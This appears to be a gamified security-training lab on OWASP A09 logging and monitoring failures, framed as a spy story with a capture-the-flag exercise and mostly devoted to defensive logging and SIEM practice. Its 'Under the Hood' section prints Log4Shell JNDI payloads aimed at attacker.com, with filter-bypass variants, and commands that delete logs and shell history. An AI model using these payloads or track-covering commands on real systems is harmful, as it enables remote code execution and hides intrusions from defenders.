Four Ghost Protocol nodes down. The Syndicate knows we are inside, and Director Kane has put WATCHDOG — Vantage Systems' lead security analyst, running their Kyiv monitoring desk — on the hunt since Op 11. She is diligent. But diligent in a broken system is still broken.
Three logging failures protect us. First: privilege escalations, bulk data access, and config changes generate no log entries. Second: the alert system generates 847 alerts per day — a 40% false positive rate — so WATCHDOG stopped investigating individual alerts six months ago. Third: log retention is 24 hours. Everything we did on Day 1 has already been deleted.
We have been inside for four days. WATCHDOG has no record of any of it. The cameras are on. The tape is blank.
THE CCTV WITH NO TAPE
CHILD-LEVEL EXPLANATION
Imagine a security building with cameras and alarms. In one case, nothing is recorded at all. In another case, there are so many false alarms that real problems are ignored.
In both cases, when something goes wrong, no one can properly understand what happened.
If the alarm rings 500 times a day and is always wrong — what happens on the day it is right?
INTERCEPTED — WATCHDOG COMMS
12:44 UTC
WATCHDOG
"Director, the dashboard is green. Log pipeline is healthy. We received 847 alerts in the last 24 hours — all investigated and cleared. Zero confirmed incidents. Nobody is inside our house."
RAVEN
Shadow — 847 alerts in 24 hours means one alert every 102 seconds, non-stop. Nobody investigates that. She is auto-closing them. And the events that actually matter — privilege escalation, bulk data export, config changes — are not generating alerts at all. We are invisible because the system is blind.
MISSION OBJECTIVES
01
TARGET: Ghost Protocol log pipeline run by WATCHDOG — it records logins and HTTP, but never privilege escalation, bulk downloads, or config changes
02
EXPLOIT: Escalate, exfiltrate and reconfigure straight through the blind spots — 4 days of dwell time, zero alerts raised
03
SWEEP: Work the Log Forge — read four attack scenarios through broken logs and classify which practices create real visibility vs blind spots
04
WIN: Capture the field flag, then lock it down — the one logging change that gives WATCHDOG a real chance of detection
⚠ ETHICAL NOTICE: Security Logging and Monitoring Failures is OWASP A09:2021. It is covered by CEH, OSCP, SOC analyst training, and every professional security certification. All interactions are fully simulated. Real monitoring testing requires explicit written authorisation.
🔧 UNDER THE HOOD▼
THE ATTACK — STEP BY STEP
Log4Shell (CVE-2021-44228) — the most famous logging failure. Log4j2 would evaluate JNDI lookup strings embedded in any logged value:
// Attacker sends this in any logged field (User-Agent, username, etc.):
${jndi:ldap://attacker.com:1389/Exploit}
// Log4j2 logs it, evaluates the expression, connects to attacker's LDAP,
// downloads and executes a Java class — full RCE on any Java server.
// Variations that bypass naive filters:
${${lower:j}ndi:${lower:l}dap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
Log injection via CRLF — inject newlines to forge log entries or inject into log-parsing systems:
1. Missing audit logs for critical actions — admin account creation, mass data export, permission changes — all happen with no record, making forensic investigation impossible after a breach.
2. Log deletion as an attacker technique — after compromise, attackers clear logs to cover tracks:
rm /var/log/auth.log
history -c
echo "" > ~/.bash_history
3. Sensitive data in logs — passwords, tokens, and PII accidentally logged in debug mode:
// WRONG — logs the full request body including passwords:
logger.debug('Request body: ' + JSON.stringify(req.body));
// Fix: sanitize before logging
const safe = {...req.body, password: '[REDACTED]'};
HOW TO DEFEND
Use structured logging and sanitize inputs before they reach the logger:
// Node.js with structured logging (pino):
const logger = require('pino')();
// Log as structured object — no string concatenation:
logger.info({ userId, action: 'login', ip: req.ip }, 'User login');
// Sanitize inputs before logging to prevent injection:
function sanitizeForLog(input) {
if (typeof input !== 'string') return input;
return input.replace(/[\r\n\t]/g, ' ').substring(0, 200);
}
logger.warn({ username: sanitizeForLog(username) }, 'Failed login attempt');
// Log4j fix: upgrade to 2.17.1+, or set system property:
// -Dlog4j2.formatMsgNoLookups=true
Implement a SIEM pipeline — ship logs to an immutable, append-only store (Elasticsearch, Splunk) that attackers cannot delete even if they compromise the app server.
Understand how logging failures create attacker invisibility
02
▶
Navigate through the network unseen using logging blind spots
03
○
Classify blind-spot configurations vs effective monitoring
04
○
Identify the real-time SIEM + 90-day retention fix
05
○
Submit the capture-the-flag token
🚩
CAPTURE THE FLAG
Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.
PHASE 01
MOVE WITHOUT A TRACE
EXPLOIT
RAVEN
ENCRYPTED
You have been inside Ghost Protocol for 4 days and left no fingerprints. You escalated privileges on Day 1, changed configuration on Day 2, and exfiltrated data on Day 3 — and none of it shows up anywhere.
The reason: the log system only records HTTP requests and authentication events. It does not record privilege escalation, bulk data downloads, configuration changes, or admin API calls. The exact moves you made are the moves it was never watching.
You just moved through the whole network invisible. Now make the call: beyond not getting caught, what extra damage does that long, unseen dwell time cause?
RAVEN — HOW THIS IS ACTUALLY ASSESSED
LIVE
RAVEN
This is the defender's view — what a blue team would check on this fictional target. We compare what actually happened against what the logs captured. I diff our known actions over four days against the SIEM record:
$ grep -E "privesc|bulk_export|config_change" /var/log/app/audit.log
(no results)# 4 days of activity. Logins logged. Everything that mattered — invisible.
RAVEN
An attacker leaves no trace not because they're clever, but because no one was recording the events that count. The fix is logging the security-relevant actions and alerting on them. First — what does that long blind window actually cost?
TAP AN ANSWER — EXPLANATION APPEARS IMMEDIATELY
RAVEN — HINT (−20 XP)
The longer an attacker goes undetected, the more damage they can do — exfiltrate data, establish persistence, move laterally. What does every missing log entry cost the defender?. Without logs the organisation does not know when the attacker arrived, what they accessed, how long they were inside, or which vulnerability was used. They cannot scope the damage, notify affected users, or fix the entry point. The attacker benefits from this invisibility during and after the breach.
✓
LOGGING FAILURE IMPACT UNDERSTOOD
Without logs, the attacker has unlimited dwell time. The average breach dwell time without good logging is over 200 days. With mature logging and alerting it drops below 24 hours. Longer dwell time means more lateral movement, more data exfiltration, and more persistence established.
Simple version: Without CCTV footage, the shop owner does not know when the thief entered, what was taken, or how they got in. The thief can come back every night — and the owner cannot even tell whether they are still in the building.
Logging failures also destroy forensic capability — without logs, there is no way to determine breach scope, notify affected parties, or close the vulnerability.
Real world: The 2020 SolarWinds breach had a dwell time of approximately 9 months before detection. Attackers inside that long can establish multiple persistence mechanisms, exfiltrate everything of value, and ensure that even after discovery, re-entry is possible. Good logging at the right points would have surfaced the anomalous behaviour within hours.
👁
DWELL TIME — THE REAL COST OF BLIND LOGGING
Dwell time is the period between initial compromise and detection. Every day of dwell time is a day of additional damage — lateral movement, privilege escalation, data exfiltration, persistence. The MITRE ATT&CK framework shows that sophisticated attackers deliberately extend dwell time: they move slowly, blend with normal traffic, and erase tracks. Good logging cuts the window they operate in.
IBM Cost of a Data Breach Report 2023: breaches taking over 200 days to identify cost an average of $4.95 million. Breaches identified in under 200 days cost $3.93 million. The difference is almost entirely in logging and monitoring maturity. Detection speed is the single biggest cost variable in breach response.
PHASE 02
LOG FORGE — SPOT THE BLIND SPOT
INTERACTIVE
Four days inside the network, no trace found. But why? WATCHDOG was watching — just not the right things. Four scenarios, four gaps. Read each log and name exactly what was missing.
RAVEN
ENCRYPTED
Four real attack scenarios from the Ghost Protocol network. Each shows what WATCHDOG actually saw in the logs — and what was missing.
Purple lines = attack activity. Grey italic lines = events that should have been logged but were not. Read each log and answer what the logging failure enabled.
MISSION OBJECTIVERead each attack scenario and the log output WATCHDOG actually saw. Identify what was missing from the log. Answer correctly for all four scenarios to map the full blind spot.
SCENARIOS ANALYSED
0 of 4 analysed
RAVEN — HINT (−20 XP)
For each scenario: what is missing from the log that would reveal the attack? What does WATCHDOG see — and what does she not see? Missing entries mean the attack is either invisible or indistinguishable from normal activity.
✓
ALL SCENARIOS ANALYSED — BLIND SPOTS MAPPED
You can now read a log and immediately identify what it reveals and what it conceals. Missing entries are not neutral — they are active blind spots. Alert fatigue is not a nuisance — it is a security failure equivalent to having no monitoring at all.
Log tampering: An attacker with admin access can delete log entries stored on the compromised server. Shipping logs immediately to a tamper-evident external SIEM prevents this — the attacker cannot erase what was already sent before they gained access.
📜
SIEM — THE CENTRAL NERVOUS SYSTEM
A SIEM (Security Information and Event Management) collects logs from all sources in real time into a tamper-evident external repository. Detection rules apply patterns across all sources — one failed login is noise; 50 failed logins across 20 accounts in 5 minutes is a credential stuffing attack. Examples: Splunk, Elastic SIEM, Microsoft Sentinel, IBM QRadar.
SIEM success requires tuning: log the right events, write detection rules for attack patterns not individual events, aim for under 10 high-confidence alerts per day rather than 847 low-confidence ones. High-fidelity alerting is the goal — not high volume.
PHASE 03
WHICH CREATES REAL VISIBILITY?
CLASSIFY
You mapped the blind spots. Now you need to know what good looks like — which practices would have put a red light on your four days inside the network, and which ones just create noise.
RAVEN
ENCRYPTED
Logging and monitoring practices from Ghost Protocol security teams. Some create genuine detection capability. Some create blind spots — or a false sense of security.
Tap a practice, then mark it VISIBLE (real detection) or BLIND SPOT (gap or false confidence).
TAP A PRACTICE — THEN CLASSIFY IT
Select a logging practice above
🔎 VISIBLE
👁 BLIND SPOT
RAVEN — HINT (−20 XP)
Genuine visibility: logs in external SIEM, alerting on attack-pattern events, 90+ day retention, privilege changes tracked, bulk access alerted. Blind spots: everything logged with no filter (noise), 24h retention (evidence destroyed), no alerting, logs only on the compromised server.
✓
ALL PRACTICES CORRECTLY CLASSIFIED
Good logging is signal, not volume. Logging everything creates noise that buries real alerts. Short retention destroys evidence. Logs on the compromised server are tampered by the attacker. The goal: right events, external storage, long retention, pattern-based alerts.
Alert fatigue kills detection: 847 alerts per day means the analyst processes one every 102 seconds, all day. That is not investigation — that is clicking through a queue. Fewer, higher-confidence alerts on genuinely suspicious patterns is the goal. Quality over quantity, always.
⚡
WHAT TO LOG — THE PRIORITY LIST
Always log: authentication success and failure, privilege changes, sensitive data access, configuration changes, admin API calls, bulk data exports. These are the events attackers most want to erase.
Never log: plaintext passwords, session tokens, payment card numbers — logging these creates a new exposure (see Op 13).
Alert on patterns: 5 failed logins from one IP is noise. 50 failed logins across 20 accounts in 5 minutes is credential stuffing. 1 success after 49 failures is a breach in progress. Same raw events — interpreted as patterns — become high-confidence, actionable alerts.
PHASE 04
TURN THE LIGHTS ON — THE RIGHT FIX
DEFENSE
Real visibility mapped. False confidence identified. Final question: what single infrastructure change would have compressed your four-day dwell time into four hours?
RAVEN — FINAL DEBRIEF
LAST PHASE
WATCHDOG is in custody. Ghost Protocol security operations offline.
RAVEN: "Shadow — WATCHDOG worked hard. 847 alerts cleared per day. But none were the ones that mattered, and the ones that mattered generated no alerts at all. Which single change would have given WATCHDOG a realistic chance of detecting our operations?"
WHICH FIX CREATES GENUINE DETECTION CAPABILITY?
RAVEN — HINT (−20 XP)
The problem was not effort — WATCHDOG worked constantly. The problem was what the system logged and what triggered alerts. The fix logs the right events and alerts on the patterns that indicate actual attack — not individual events that are mostly benign. Which option does that?
► INTEL — OP-15 // OPERATION BLIND SPOT
TARGET: NEXUS Security Operations — Log Pipeline
Classification: TOP SECRET // Campaign 3 Ghost Protocol
MENDAX — CHANNEL BRIEFING
PRE-OP
MENDAX
The breach occurred 3 weeks ago. Logs were not centralised. No SIEM alerts configured. The WAF blocked nothing because the WAF rules hadn't been updated in 18 months.
📓
OWASP CLASSIFICATION
INTEL
A09:2021 — Logging failures mean attacks go undetected for months. Average breach dwell time is 197 days. Without logs, incident response is impossible and forensics are lost.
⚖
GLOSSARY TERMS: Logging Failures, SIEM, Log Aggregation, Alert Threshold, Dwell Time, Incident Response, DFIR, Audit Trail. All terms auto-logged to your Field Manual as you encounter them.
ACADEMY — LOGGING AND MONITORING FAILURES
THE CAMERA IS ON. THE TAPE IS BLANK.
BEGINNERWhat Is This Vulnerability?›
Security logging and monitoring failures happen when an application either does not log security-relevant events at all, or logs so much that real attacks are buried in noise, or logs correctly but does not alert on the patterns that indicate attack.
Three distinct failure modes: no logging of critical events, alert fatigue from too many false positives, and log retention too short to investigate incidents. All three produce the same outcome: attackers operating invisibly for months.
Average breach dwell time without good logging: 207 days. With good logging: under 24 hours.
Real world: The 2013 Target breach — 40 million credit card numbers stolen. Target had a $1.6 million security monitoring system (FireEye) that detected the attack and sent alerts. The security team received the alerts and ignored them because alert fatigue had trained them to dismiss most alerts. The camera was on. The tape was recording. Nobody was watching.
INTERMEDIATEWhat Must Be Logged›
Always log:
Authentication events (success and failure with IP, timestamp, user)
Privilege changes (role assignments, sudo, admin escalation)
Access to sensitive data (especially bulk reads or exports)
Configuration changes (server, application, security settings)
Admin API calls (all of them, with full parameters except secrets)
Failed access attempts (401, 403 responses with context)
Never log:
Plaintext passwords or partial passwords
Session tokens or API keys
Payment card data or PII unless legally required and encrypted
Alert on patterns not events:
5+ failed logins from one IP in 60 seconds
Any successful login after 10+ failures
Privilege change on any account outside business hours
Data export exceeding baseline volume by 3x or more
Admin API calls from unexpected IPs or user agents
EXPERTDefences and Real Incidents›
The correct fix — SIEM with high-fidelity detection rules:
Ship all security events immediately to an external, append-only SIEM. Apply detection rules that alert on attack patterns not individual events. Set 90+ day retention. Review and tune alert rules monthly to eliminate false positives.
Implementation checklist:
Central log aggregation (Splunk, Elastic, Sentinel) receiving events in real time
Tamper-evident storage separate from production servers
Detection rules tuned to under 10 high-confidence alerts per analyst per day
On-call rotation for real-time alert response
90-day minimum retention, 1 year for compliance environments
Notable incidents:
2013 Target — monitoring system detected the attack; alerts were ignored due to fatigue
2020 SolarWinds — 9-month dwell time; insufficient log correlation across systems
2021 Colonial Pipeline — limited logging of OT/IT boundary events delayed detection
2020 Uber (disclosed 2022): An attacker used social engineering to gain access, then moved laterally for hours before Uber detected anomalous activity. Post-incident review found multiple detection opportunities were missed because alert thresholds were set too high to avoid fatigue. The attacker announced the breach in Uber Slack channel before the security team had detected it from their own logs.
REAL-WORLD TOOLS — LOGGING AND MONITORING
WHAT PROFESSIONALS USE
🔍
Splunk
ENTERPRISE / FREE TIER
The industry-standard SIEM. Collects, indexes and correlates log data from all sources. SPL (Search Processing Language) lets analysts write detection rules and dashboards. Used by most large SOC teams globally.
index=auth sourcetype=linux_secure "Failed password" | stats count by src_ip | where count > 10
⚡
Elastic SIEM
FREE / OPEN SOURCE
Open source alternative to Splunk. ELK stack (Elasticsearch, Logstash, Kibana) with the Elastic SIEM add-on. Pre-built detection rules covering MITRE ATT&CK framework. Widely used in mid-size organisations.
event.category:authentication AND event.outcome:failure | group by source.ip
📌
Wazuh
FREE / OPEN SOURCE
Open source SIEM and XDR platform. Agents on each server ship logs to central manager. Pre-built rules for common attacks. Good choice for organisations that need a free, self-hosted SIEM.
wazuh-logtest — test detection rules against sample log lines
📄
Sigma Rules
FREE / OPEN SOURCE
Generic detection rule format that converts to Splunk, Elastic, QRadar, and other SIEM query languages. Thousands of community rules covering known attack patterns and MITRE ATT&CK techniques.